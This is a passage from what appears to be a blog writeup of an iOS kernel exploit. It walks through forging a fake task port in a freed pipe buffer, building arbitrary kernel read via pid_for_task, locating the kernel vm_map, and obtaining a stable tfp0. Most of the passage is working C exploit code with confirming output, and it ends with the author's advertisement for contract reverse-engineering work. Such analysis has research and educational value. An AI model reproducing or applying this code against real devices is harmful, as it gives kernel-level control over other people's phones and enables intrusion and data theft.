    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}

kport_t is a port struct constructed by the author:

typedef volatile struct {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct {
        uint64_t data;
        uint64_t type;
    } ip_lock; // spinlock
    struct {
        struct {
            struct {
                uint32_t flags;
                uint32_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct {
                    uint64_t next;
                    uint64_t prev;
                } waitq_queue;
            } waitq;
            uint64_t messages;
            uint32_t seqno;
            uint32_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
            uint32_t pad;
        } port;
        uint64_t klist;
    } ip_messages;
    uint64_t ip_receiver;
    uint64_t ip_kobject;
    uint64_t ip_nsrequest;
    uint64_t ip_pdrequest;
    uint64_t ip_requests;
    uint64_t ip_premsg;
    uint64_t ip_context;
    uint32_t ip_flags;
    uint32_t ip_mscount;
    uint32_t ip_srights;
    uint32_t ip_sorights;
} kport_t;

The goal: replace the Fake Task Port’s address into the freed kernel buffer pipe_buffer, so the buffer layout becomes — first 8 bytes = our Fake Task Port address, followed by the normal port addresses.

First get the Fake Task Port address port_pipe_buffer, i.e. the kernel buffer behind port_fds:

uint64_t port_fg_data = 0;
uint64_t port_pipe_buffer = 0;

if (SMAP) {
    fproc = rk64_check(fd_ofiles + port_fds[0] * 8);
    f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
    port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
    port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
    printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer);
}

fakeport->ip_kobject points to the Task struct, not yet initialized. This completes the Fake Task Port memory layout:

fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);

Flush the finished Fake Task Port into the kernel buffer:

write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);

This is the freed pipe_buffer. Replace its first 8 bytes with the port_pipe_buffer address — so the memory the first port kernel address points to is now controllable through port_fds:

write(fds[1], &port_pipe_buffer, 8);

Get the Fake Task Port’s user-space handle by reading the OOL data we sent back from p; the first element is our Fake Task Port. Just as the user→kernel path calls CAST_MACH_NAME_TO_PORT to convert a user handle to a kernel address, the kernel→user path calls CAST_MACH_PORT_TO_NAME to convert a kernel address back to a user handle:

struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);

Now we hold both the user-space handle and the kernel address of the Fake Task Port.

8. Filling in VM_MAP

The author implements two kernel arbitrary-read primitives here. Let’s analyze the underlying read logic.

fake_task’s bsd_info is stored into pointer read_addr_ptr. The kr32 macro sets read_addr_ptr, then calls pid_for_task() — this logic is genuinely opaque until you trace it through:

uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    
#define kr32(addr, value)\
    if (SMAP) {\
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
    if (SMAP) {\
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    value = 0x0;\
    ret = pid_for_task(our_port, (int *)&value);
    
    uint32_t read64_tmp;
#define kr64(addr, value)\
    kr32(addr + 0x4, read64_tmp);\
    kr32(addr, value);\
    value = value | ((uint64_t)read64_tmp << 32)

Think about the PID path. Getting a PID from a port kernel address is:

*(*(*(fake_port + offset_kobject) + offset_bsd_info) + offset_p_pid)

If we set kobject to addr - offset_p_pid (where addr is the address we want to read), the expression reads exactly the data at our addr:

*(addr - offset_p_pid + offset_p_pid) => *addr

Conclusion: reading read_addr_ptr and setting it in kr32() is equivalent to setting task->bsd_info to addr - offset_p_pid. When pid_for_task() fetches the PID, we get an arbitrary read. On top of that, the kr64() macro does an 8-byte read.

This kernel read primitive is really elegant.

Use it to walk the task list: check whether this task’s PID is 0; if not, move to the previous task; when we find PID 0, read VM_MAP:

uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);

uint64_t kernel_vm_map = 0;
while (struct_task != 0) {
    uint64_t bsd_info;
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
    uint32_t pid;
    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
    if (pid == 0) {
        uint64_t vm_map;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
        kernel_vm_map = vm_map;
        break;
    }
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);

Write the VM_MAP into our Fake Task Port, and we have a cobbled-together TFP0:

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}

Initialize the global tfpzero:

static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

init_kernel_memory(our_port);

Allocate 8 bytes, write 0x4141414141414141, read it back — success means tfpzero works:

uint64_t addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);

wk64(addr, 0x4141414141414141);
uint64_t readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);

kfree(addr, 8);

One note: everything allocated here is kernel memory, whose range is:

#define VM_MIN_KERNEL_ADDRESS	((vm_address_t) 0xffffffe000000000ULL)
#define VM_MAX_KERNEL_ADDRESS	((vm_address_t) 0xfffffff3ffffffffULL)

The k*() functions are all built on tfpzero.

Allocation — kalloc():

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

Reads — rk32() and rk64():

uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        offset += sz;
    }
    return offset;
}

Writes — wk32() and wk64():

void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}

void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        offset += chunk;
    }
    return offset;
}

Free — kfree():

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

9. A stable TFP0

new_tfp0 is the TFP0 we’ll actually use. find_port() also reads through the tfpzero above:

mach_port_t new_tfp0 = new_port();
uint64_t new_addr = find_port(new_tfp0, self_port_addr);

As noted early on, all ports live as ipc_entry_t in is_table. Given a user-space port we can compute its index and read out the port’s kernel address:

uint64_t find_port(mach_port_name_t port, uint64_t task_self) {
    uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    uint32_t port_index = port >> 8;    // take the index
    const int sizeof_ipc_entry_t = 0x18;
    uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
    return port_addr;
}

Allocate fresh kernel memory for the Fake Task, write fake_task there via kwrite(), point the Fake Task Port’s ip_kobject at it, and finally refresh new_tfp0’s memory at new_addr to get the final TFP0:

uint64_t faketask = kalloc(0x600);
kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;
kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));

Repeat the write/read test to confirm new_tfp0 works:

init_kernel_memory(new_tfp0);
printf("[+] tfp0: 0x%x\n", new_tfp0);

addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);

wk64(addr, 0x4141414141414141);
readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);

kfree(addr, 8);

Nicely done:

[+] tfp0: 0x6203
[*] allocated: 0xfffffff008e1f000
[*] read back: 0x4141414141414141

10. Cleaning up

Remove the cobbled-together port from is_table, drop the fds kernel buffer (it was already freed), and close the remaining pipe handles and IOSurface:

// get is_table
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));

// get the index
uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;

// clear it
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);

// this pipe_buffer is already freed; null the pointer too
wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()

if (fds[0] > 0)  close(fds[0]);
if (fds[1] > 0)  close(fds[1]);
if (port_fds[0] > 0)  close(port_fds[0]);
if (port_fds[1] > 0)  close(port_fds[1]);

free((void *)fakeport);
deinit_IOSurface();
return new_tfp0;

11. Wrap-up

This writeup covers the broad strokes, and a lot of details remain unexplored — the heap allocator (which paths are shared and which are bespoke), the struct-offset derivations, and exactly what value each ipc_port member should hold when forging a port. I’m still fuzzy on several of these myself; they’ll firm up as I analyze more bugs.

References


Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).

Get in touch